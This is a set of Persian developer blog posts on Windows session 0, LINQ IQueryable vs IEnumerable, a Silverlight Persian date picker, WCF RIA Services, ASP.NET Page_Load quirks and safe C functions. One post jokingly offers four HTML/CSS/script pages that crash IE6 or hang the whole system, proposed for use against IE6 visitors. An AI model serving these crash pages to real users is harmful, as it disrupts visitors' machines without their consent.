مطالب
سشن صفر

یکی از تفاوت‌های مهم امنیتی ویندوزهای جدید (از سرویس پک 2 ویندوز 2003 به بعد)، اجرای سرویس‌های ویندوز در جلسه‌ای کاری (سشنی) جدا از جسله کاری برنامه‌های عادی است که توسط کاربران وارد شده به سیستم اجرا می‌شوند. در این ویندوزها، تنها سرویس‌ها هستند که در سشن صفر اجرا می‌شوند و مابقی برنامه‌های سایر کاربران در سشن‌های دیگر.



این برخلاف چیزی است که برای مثال در ویندوز XP وجود دارد؛ یعنی اجرای دوستانه‌ی تمام برنامه‌ها در یک سشن (چون کاربر وارد شده به سیستم نیز در سشن صفر قرار می‌گیرد).



در این حالت برنامه‌های عادی می‌توانند سرویس‌های ویندوز را به راحتی مورد حمله قرار دهند. اطلاعات بیشتر:


مهم‌ترین معنای اجرای ایزوله سرویس‌ها در سشن صفر، به خاطره سپرده شدن سرویس‌هایی است که امکان تعامل با کاربر را داشتند؛ برای مثال سرویس‌هایی که یک رابط کاربری را نمایش می‌دادند (به کمک همان تیک معروف Allow Service to Interact with Desktop در صفحه تنظیمات یک سرویس). زیرا اکنون اولین کاربر وارد شده به سیستم، در سشن یک قرار می‌گیرد (و نه همانند قبل در سشن صفر). به این صورت دیگر به رابط کاربری نمایش داده شده در سشن صفر دسترسی نداشته و چیزی را مشاهده نخواهد کرد.




البته شاید سؤال بپرسید که چه سرویس‌هایی نیاز به نمایش رابط کاربری دارند؟ چون عموما سرویسی که صحیح طراحی شده باشد نیاز به تعامل مستقیم با کاربر را از طریق رابط کاربری ندارد.
و پاسخ این است که خیلی از سرویس‌ها! در بسیاری از برنامه‌های متداول، امکان اجرای به صورت سرویس ویندوز NT پیش بینی نشده است. اگر نیاز باشد تا این نوع برنامه‌ها را به صورت سرویس، برای مثال در یک ویندوز سرور اجرا کرد (تا همیشه در حال اجرا باشند و همچنین با ری استارت شدن سیستم نیز مجددا بدون دخالت کاربر شروع به کار کنند)، در این حالت نیاز خواهد بود تا رابط کاربری آن‌ها نیز نمایش داده شوند.

سؤال: در ویندوزهای جدید برای تعامل با سشن صفر چه باید کرد؟
در ویندوز 2003 (به همراه تمام به روز رسانی‌ها) برای اتصال به سشن صفر می‌توان دستور زیر را در خط فرمان صادر کرد:
Mstsc /console

به این ترتیب امکان اتصال به سشن کنسول یا همان سشن صفر میسر می‌شود.
این پارامتر در ویندوز سرور 2008 ندید گرفته خواهد شد زیرا در این ویندوز امکان نصب یک سرویس در سشن‌هایی بجز سشن صفر نیز پیش بینی شده است؛ هر چند پیش فرض نصب همان سشن صفر است. اما به جهت سازگاری با نگارش‌های قبل این‌بار بجای پارامتر console از پارامتر admin استفاده کنید.

با استفاده از برنامه نویسی چطور؟
روش کار در این مقاله توضیح داده شده است اما سطر اول آن به این نکته تاکید دارد که ... این‌کار را نکنید! سرویسی که درست طراحی شده باشد نیازی به رابط کاربری تعاملی عموما جهت اعمال تنظیمات آن، ندارد.

مطالب
تفاوت بین IQueryable و IEnumerable در حین کار با ORMs

متد زیر را که یکی از اشتباهات رایج حین استفاده از LINQ خصوصا جهت Binding اطلاعات است، در نظر بگیرید:
IQueryable<Customer> GetCustomers()

این متد در حقیقت هیچ چیزی را Get نمی‌کند! نام اصلی آن GetQueryableCustomers و یا GetQueryObjectForCustomersاست.
IQueryable قلب LINQ است و تنها بیانگر یک عبارت (expression) از رکوردهایی می‌باشد که مد نظر شما است و نه بیشتر.
IQueryable<Customer> youngCustomers = repo.GetCustomers().Where(m => m.Age < 15);
برای مثال زمانیکه یک IQueryable را همانند مثال فوق فیلتر می‌کنید نیز هنوز چیزی از بانک اطلاعاتی یا منبع داده‌ای دریافت نشده است. هنوز هیچ اتفاقی رخ نداده است و هنوز رفت و برگشتی به منبع داده‌ای صورت نگرفته است.
به آن باید به شکل یک expression builder نگاه کرد و نه لیستی از اشیاء فیلتر شده‌ی ما. به این مفهوم، deferred execution (اجرای به تاخیر افتاده) نیز گفته می‌شود (باید دقت داشت که IQueryable هم یک نوع IEnumerable است به علاوه expression trees که مهم‌ترین وجه تمایز آن نیز می‌باشد).
برای مثال در عبارت زیر تنها در زمانیکه متد ToList فراخوانی می‌شود، کل عبارت LINQ ساخته شده، به عبارت SQL متناظر با آن ترجمه شده، اطلاعات از دیتابیس اخذ گردیده و حاصل به صورت یک لیست بازگشت داده می‌شود:
IList<Competitor> competitorRecords =  competitorRepository
.Competitors
.Where(m => !m.Deleted)
.OrderBy(m => m.countryId)
.ToList(); //فقط اینجا است که اس کیوال نهایی تولید می‌شود

در مورد IEnumerable ها چطور؟
IEnumerable<Product> products = repository.GetProducts();
var productsOver25 = products.Where(p => p.Cost >= 25.00);
دو سطر فوق به این معنا است:
لطفا ابتدا به بانک اطلاعاتی رجوع کن و تمام رکوردهای محصولات موجود را بازگشت بده. سپس بر روی این حجم بالای اطلاعات، محصولاتی را که قیمت بالای 25 دارند، فیلتر کن.

اگر همین دو سطر را با IQueryable بازنویسی کنیم چطور؟
 IQueryable<Product> products = repository.GetQueryableProducts();
var productsOver25 = products.Where(p => p.Cost >= 25.00);
در سطر اول تنها یک عبارت LINQ ساخته شده است و بس. در سطر دوم نیز به همین صورت. در طی این دو سطر حتی یک رفت و برگشت به بانک اطلاعاتی صورت نخواهد گرفت. در ادامه اگر این اطلاعات به نحوی Select شوند (یا ToList فراخوانی شود، یا در طی یک حلقه برای مثال Iteration ایی روی این حاصل صورت گیرد یا موارد مشابه دیگر)، آنگاه کوئری SQL متناظر با عبارت LINQ فوق ساخته شده و بر روی بانک اطلاعاتی اجرا خواهد شد.
بدیهی است این روش منابع کمتری را نسبت به حالتی که تمام اطلاعات ابتدا دریافت شده و سپس فیلتر می‌شوند، مصرف می‌کند (حالت بازگشت تمام اطلاعات ممکن است شامل 20000 رکورد باشد، اما حالت دوم شاید فقط 5 رکورد را بازگشت دهد).

سؤال: پس IQueryable بسیار عالی است و از این پس کلا از IEnumerable ها دیگر نباید استفاده کرد؟
خیر! توصیه اکید طراحان این است که لطفا تا حد امکان متدهایی که IQueryable بازگشت می‌دهند ایجاد نکنید! IQueryable یعنی اینکه این نقطه‌ی آغازین کوئری در اختیار شما، بعد برو هر کاری که دوست داشتی با آن در طی لایه‌های مختلف انجام بده و هر زمانیکه دوست داشتی از آن یک خروجی تهیه کن. خروجی IQueryable به معنای مشخص نبودن زمان اجرای نهایی کوئری و همچنین مبهم بودن نحوه‌ی استفاده از آن است. به همین جهت متدهایی را طراحی کنید که IEnumerable بازگشت می‌دهند اما در بدنه‌ی آن‌ها به نحو صحیح و مطلوبی از IQueryable استفاده شده است. به این صورت حد و مرز یک متد کاملا مشخص می‌شود. متدی که واقعا همان فیلتر کردن محصولات را انجام می‌دهد، همان 5 رکورد را بازگشت خواهد داد؛ اما با استفاده از یک لیست یا یک IEnumerable و نه یک IQueryable که پس از فراخوانی متد نیز به هر نحو دلخواهی قابل تغییر است.

مطالب
کنترل DatePicker شمسی مخصوص Silverlight 4

Silverlight 4 تاریخ شمسی را از دات نت فریم ورک به ارث نبرده است (+). اما اضافه کردن آن کار خاصی نیست. مجموعه‌ی سورس باز Silverlight toolkit هم دارای DatePicker تاریخ میلادی است اما به دلایلی که عرض شد، تاریخ شمسی را پشتیبانی نمی‌کند.

کارهایی که توسط سایر برنامه نویس‌های ایرانی تابحال در این مورد انجام شده است:
- اضافه کردن DatePicker فارسی به مجموعه‌ی Silverlight toolkit : (+)
به دو دلیل من از این راه حل استفاده نخواهم کرد:
الف) patch ارائه شده هنوز با Silverlight toolkit یکپارچه نشده است و هربار باید این تغییرات را اعمال کرد و غیره ...
ب) شاید من اصلا نخواهم که از Silverlight toolkit استفاده کنم. آن وقت چه باید کرد؟
این تنها کاری است که جهت Silverlight انجام شده است.

دو نمونه‌ی خوب دیگر هم برای WPF موجود است که تبدیل آن‌ها به Silverlight کار ساده‌ای نیست (چون Silverlight تمام کلاس‌های WPF را نیز به ارث نبرده است):
- Farsi Library - Working with Dates, Calendars, and DatePickers
- PersianDate and some WPF controls for it

به همین جهت یک کنترل DatePicker و تقویم شمسی مستقل را برای Silverlight 4 آماده کرده‌ام که از آدرس ذیل قابل دریافت است:





نحوه استفاده:
الف) ارجاعی را به اسمبلی SilverlightPersianDatePicker.dll به پروژه خود اضافه کنید. اگر مباحث library caching هم برای شما مهم است، فایل SilverlightPersianDatePicker.extmap.xml پیوست شده را نیز فراموش نکنید.
ب) xmlns آن باید به XAML جاری اضافه شود؛ برای مثال:
xmlns:dp="clr-namespace:SilverlightPersianDatePicker.Views;assembly=SilverlightPersianDatePicker"
ج) سپس استفاده از آن به سادگی یک سطر زیر خواهد بود:
<dp:PDatePicker x:Name="txtDate" TextBoxWidth="100"  Margin="5"  />

خاصیت SelectedDate آن تاریخ میلادی و خاصیت SelectedPersianDate آن تاریخ شمسی را بر می‌گرداند.


کتابخانه‌های کمکی که در حین توسعه‌ی آن استفاده شدند:
کلاس تقویم شمسی امید خندان راد (که برای روزهای دات نت 1 تهیه شده بود).
پنل UniformGrid که در Silverlight موجود نیست.(+)
رفتار StaysOpen مرتبط با Popup که در Silverlight از WPF به ارث نرسیده است.(+)
استفاده از کلاس DelegateCommand جان پاپا (برای سهولت Commanding در الگوی MVVM). (+)


مطالب
مدیریت بهتر کدهای تولید شده توسط WCF RIA Services

در حین کار با WCF RIA Services اگر تمام موجودیت‌های تعریف شده انتخاب شوند یک فایل طویل DomainService حاصل خواهد شد. کار کردن با این فایل نه زیبا است و نه ساده. بعد از یک مدت شاید بگوئیم، خوب! من به ازای هر جدول یک DomainService جدا تولید می‌کنم با نامی مختص به آن و این اطلاعات را در فایلی جداگانه نیز ذخیره خواهم کرد. پس از انجام اینکار با خطای زیر مواجه خواهیم شد:

The entity type ... is exposed by multiple DomainService types. Entity types cannot be shared across DomainServices

به صورت خلاصه: مهم نیست سیستم شما از چند جدول تشکیل شده است؛ مهم این است که تنها یک فایل DomainService را باید تولید کنید و البته این یک محدودیت نیست؛ یک هدف محسوب می‌شود؛ از این دیدگاه که موجودیت‌های مرتبط باید در یک Domain قرار گیرند و تنها در یک دومین هستند که روابط بین آن‌ها معنا پیدا می‌کند.
- روش توصیه شده برای مدیریت این کلاس DomainService طویل، استفاده از واژه‌ی کلیدی partial است (برای مثال public partial class MyDomainService). به این صورت هر موجودیت را می‌توان در یک فایل جداگانه قرار داد و به این ترتیب مدیریت ساده‌تری را بر روی اطلاعات تولید شده داشت و همچنین تمامی این فایل‌ها در نهایت یک کلاس واحد را تشکیل می‌دهند و اصل وجود یک DomainService واحد در برنامه زیر سؤال نخواهد رفت.
- کدهایی را که خودتان نیز به این مجموعه اضافه خواهید کرد، در لابلای کدهای تولید شده قرار ندهید. در صورت تغییری در جداول نیاز است تا این فایل‌ها مجددا تولید شوند و اینجا است که تمام تغییرات خود را از دست خواهید داد. برای این منظور باز هم یک کلاس partial دیگر را تعریف کنید تا کدهای سفارشی خود را بتوان به صورت مجزایی از کدهای تولید شده به صورت خودکار، در آن قرار داد (برای مثال به نام MyServiceNameDomainService.extensions.cs).
- جایی که قرار است یک سری از فایل‌ها مجددا تولید شوند استفاده از برنامه‌های سورس کنترل را فراموش نکنید؛ تا هر زمانی بتوان کدهای جدید را با کدهای نگارش‌های قبل به سادگی مقایسه کرد؛ یا حتی به نگارش‌های قبلی بازگشت نمود.
- این نکته را به خاطر داشته باشید که اگر اطلاعاتی به صورت خودکار از پیش تعریف شده و موجود است (کلاس دومین یا متادیتای آن)،‌ این اطلاعات حین استفاده از امکانات تولید کد خودکار، مجددا تولید نخواهند شد. به همین جهت باید ابتدا آن‌ها را به صورت comment در آورد (یا از پروژه خارج نمود؛ استفاده از امکانات include و exclude پوشه‌ها یا فایل‌ها در ویژوال استودیو) تا همواره کدهای آخرین اطلاعات موجود تولید گردند.

مطالب
چه زمان‌هایی ممکن است Page_Load یک صفحه ASP.Net دوبار اجرا شود؟

سؤال مربوط به حالت نخ نمای Page.IsPostBack نیست. مربوط به حالتی است که دقیقا در اولین بار مشاهده‌ی عادی یک صفحه، Page_Load دوبار یا بیشتر (!) اجرا می‌شود.

الف) برنامه‌ی ASP.Net 1.x خود را به نگارش‌های 2+ ارتقاء داده‌اید.
در این حالت هر چند VS.Net پیغام تبدیل با موفقیت یک پروژه‌ی قدیمی را به شما ارائه خواهد داد اما یک سری موارد را پس از تبدیل، باید اصلاح کرد.
پروژه‌های قدیمی ASP.Net در روال InitializeComponent خود سطر زیر را همانند یک پروژه WinForm و امثال آن برای معرفی روال رخداد گردان Page_Load دارند.

this.Load += new System.EventHandler(this.Page_Load);

اما در پروژه‌های ASP.Net 2.0 به بعد دیگر از این روال خبری نیست. پس در این پروژه‌ها کامپایلر چگونه متوجه خواهد شد که Page_Load واقعا یک روال رخ داد گردان است و نه یک روال معمولی؟ در پروژه‌های جدید VS.Net ، خاصیت AutoEventWireup صفحه به true تنظیم شده و دیگر نیازی به معرفی صریح روال‌های رخ داد گردانی مانند Page_Load و یا Page_Init نبوده و تشخیص آن‌ها به صورت خودکار انجام می‌شود.

<% @Page AutoEventWireup="true" %>
بر این اساس با انتقال یک پروژه قدیمی به VS.Net جدید، هم AutoEventWireup=true را خواهیم داشت و هم سطرهای موجود در متد قدیمی InitializeComponent از پروژه حذف نشده‌اند. بنابراین متد Page_Load در دو نقطه، یکبار به صورت خودکار (متد Page_Load بر اساس نام آن با توجه به AutoEventWireup=true تشخیص داده شده و اجرا می‌شود) و یکبار هم بر اساس تعریف دستی موجود فراخوانی می‌شود.
برای حل این مشکل و سازگاری بهتر با نگارش‌های جدیدتر، سطر تعریف دستی روال رخ داد گردان متد Page_Load را حذف کنید.
لازم به ذکر است که این سیم کشی خودکار تنها برای متدهای زیر انجام خواهد شد و نسبت به حذف سایر موارد موجود اقدام نکنید!

Page_PreInit
Page_Init
Page_InitComplete
Page_PreLoad
Page_Load
Page_LoadComplete
Page_DataBind
Page_SaveStateComplete
Page_PreRender
Page_PreRenderComplete
Page_Unload
Page_Error
Page_AbortTransaction
Page_CommitTransaction


ب) وجود هر نوع دکمه‌ی تصویری یا کلا تصویری با ویژگی src مقدار دهی نشده در صفحه
مرورگر IE با این مساله مشکلی ندارد. اما فایرفاکس‌های جدید اگر به src مقدار دهی نشده‌ی تصویری برخورد کنند دقیقا آدرس جاری صفحه را بجای مقدار src قرار داده و مجددا صفحه را درخواست می‌کنند (و البته این مورد ارتباط مستقیمی به ASP.Net یا PHP و امثال آن ندارد و یک مساله‌ی عمومی است). این مورد سبب خواهد شد که Page_Load صفحه، نه فقط دوبار بلکه به تعداد بار src خالی تصاویری که در صفحه وجود دارند، بر اساس درخواست‌های مجدد فایرفاکس از سرور اجرا شود. (مرورگر IE بجای فراخوانی آدرس صفحه جاری، یک null/ را به انتهای آدرس جاری اضافه کرده و آن‌را فراخوانی می‌کند. بنابراین سبب اجرای مجدد هیچ روالی نخواهد شد.)


مآخذ:
Inside AutoEventWireup
How Firefox Handles Empty SRC tags

مطالب
برنامه نویسی امن به زبان C

اگر سخنان بزرگان برنامه نویسی را مطالعه کرده باشید، یکی از موارد این بود:
" هیچگاه از gets و sprintf استفاده نکنید، در غیر اینصورت شیاطین به زودی به سراغ شما خواهند آمد! (FreeBSD Secure Programming Guidelines) "
به عبارت دیگر استفاده از توابع کتابخانه‌های استاندارد زبان C ، بدون ملاحظات لازم (یا همان برنامه نویسی کلاسیک به زبان C )، منشاء بسیاری از حملات Buffer overrun است، زیرا اکثر این توابع اندازه‌ی بافر یا رشته‌ی ورودی را بررسی نمی‌کنند.
برای رفع این مشکلات که هنوز که هنوز است قربانی می‌گیرد! ، The Safe C Library پدید آمده است. این کتابخانه بر اساس استاندارد ISO TR24731 تهیه گردیده و در آن یک سری توابع مکمل، جهت بالا بردن امنیت‌ برنامه‌های تهیه شده به زبان C مطابق استاندارد ISO/IEC 9899:1999 معرفی شده است.

برای مثال مطابق استاندارد ISO/IEC JTC1 SC22 WG14 N1172 ، تابع نا امن memcpy با تابع امن زیر باید جایگزین شود:
errno_t  memcpy_s(void *dest, rsize_t dmax, const void *src, rsize_t smax)

مستندات آن‌را در فایل safe_lib_html.tar پس از دریافت کتابخانه می‌توانید مشاهده نمائید.

همچنین اخیرا به عنوان مکمل این مجموعه، یک کتابخانه‌ی ریاضی امن نیز تهیه شده است.

پ.ن.
شبیه به همین مورد در اینترفیس پلاگین‌های IDA-Pro در نگارش‌های اخیر آن اعمال شده است و برنامه نویس را وادار می‌کند که از نمونه‌های معادل امن در آن محیط استفاده کند.
//pro.h
// We forbid using dangerous functions in IDA Pro
#ifndef USE_DANGEROUS_FUNCTIONS
#if defined(__BORLANDC__) && (__BORLANDC__ < 0x560 || __BORLANDC__ >= 0x580) // for BCB5 (YH)
#include <stdio.h>
#endif
#undef strcpy
#define strcpy dont_use_strcpy // use qstrncpy
#define stpcpy dont_use_stpcpy // use qstpncpy
#define strncpy dont_use_strncpy // use qstrncpy
#define strcat dont_use_strcat // use qstrncat
#define strncat dont_use_strncat // use qstrncat
#define gets dont_use_gets // use fgets
#define sprintf dont_use_sprintf // use qsnprintf
#define snprintf dont_use_snprintf // use qsnprintf
#define wsprintfA dont_use_wsprintf // use qsnprintf
#endif
برای مطالعه بیشتر: The Safe C Library

مطالب
لینک‌های هفته‌ی آخر اسفند

وبلاگ‌ها ، سایت‌ها و مقالات ایرانی (داخل و خارج از ایران)

امنیت

Visual Studio

ASP. Net

طراحی و توسعه وب

PHP

اس‌کیوال سرور

سی شارپ

VB

عمومی دات نت

جاوا

ویندوز

مسایل اجتماعی و انسانی برنامه نویسی

SVN

متفرقه

مطالب
لینک‌های هفته‌ی دوم اسفند

وبلاگ‌ها ، سایت‌ها و مقالات ایرانی (داخل و خارج از ایران)

امنیت

Visual Studio

ASP. Net

طراحی و توسعه وب

PHP

اس‌کیوال سرور

سی شارپ

VB

CPP

عمومی دات نت

مسایل اجتماعی و انسانی برنامه نویسی

متفرقه
مطالب
کمی شوخی با IE6

اخیرا عده‌ای از همکاران عنوان می‌کنند که "لطفا" از IE6 استفاده نکنید، یا یک پیغام "لطیف" را به کاربران IE6 نمایش می‌دهند و امثال آن. نظر شما در مورد استفاده از روش‌های زیر چیست؟ :-)

مثال زیر را در نظر بگیرید:

<html>
<head>
<title>crash-1</title>
<style type="text/css">
* {position: relative;}
</style>
</head>
<body>

<table><input></table>

</body>

</html>

IE6 کاربر، پس از باز کردن این صفحه، بلافاصله محو خواهد شد. به صورت خلاصه همین یک سطر زیر برای کرش IE6 کافی است:

<style>*{position:relative}</style><table><input></table>

مثال 2:
<html>
<head>
<title>crash-2</title>
<script type="text/javascript">for (x in document.write) { document.write(x);}</script>
</head>
<body>
Test-2
</body>

</html>

این یک سطر اسکریپت نیز سبب کرش IE6 خواهد شد.

مثال 3:
این مورد کمی خطرناک است و سبب هنگ کل سیستم عامل خواهد شد و همچنین مصرف شدید حافظه تا حد ممکن.
<html>
<head>
<title>crash-3</title>
<style type="text/css">
:link:hover {
color: #f00;
}
:link .images {
width: 300px;
display: none;
}
:link:hover .images {
position: absolute;
top: 10px;
left: 230px;
display: block;
}
</style>
</head>

<body>

<a href="#">Line 1
<div class="images">
Line 2: HOVERING OVER THIS LINE MAY CRASH THE BROWSER! <br>Line 3: What is happening
here?</div>
</a>

</body>

</html>

مثال 4:
این مورد نیز سبب هنگ سیستم عامل می‌شود:

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<head>
<style type="text/css">
a {
padding:2px;
white-space:nowrap;
position:relative;
}
</style>
</head>
<body>

<div>
<a href="#">Option 1</a>
<a href="#">Option 2</a>
</div>

</body>
</html>

و اما روش‌های محترمانه!
مطالب
لینک‌های هفته‌ی سوم بهمن

وبلاگ‌ها ، سایت‌ها و مقالات ایرانی (داخل و خارج از ایران)

Visual Studio

ASP. Net


طراحی و توسعه وب

PHP

اس‌کیوال سرور

سی شارپ

عمومی دات نت

ویندوز

مسایل اجتماعی و انسانی برنامه نویسی

متفرقه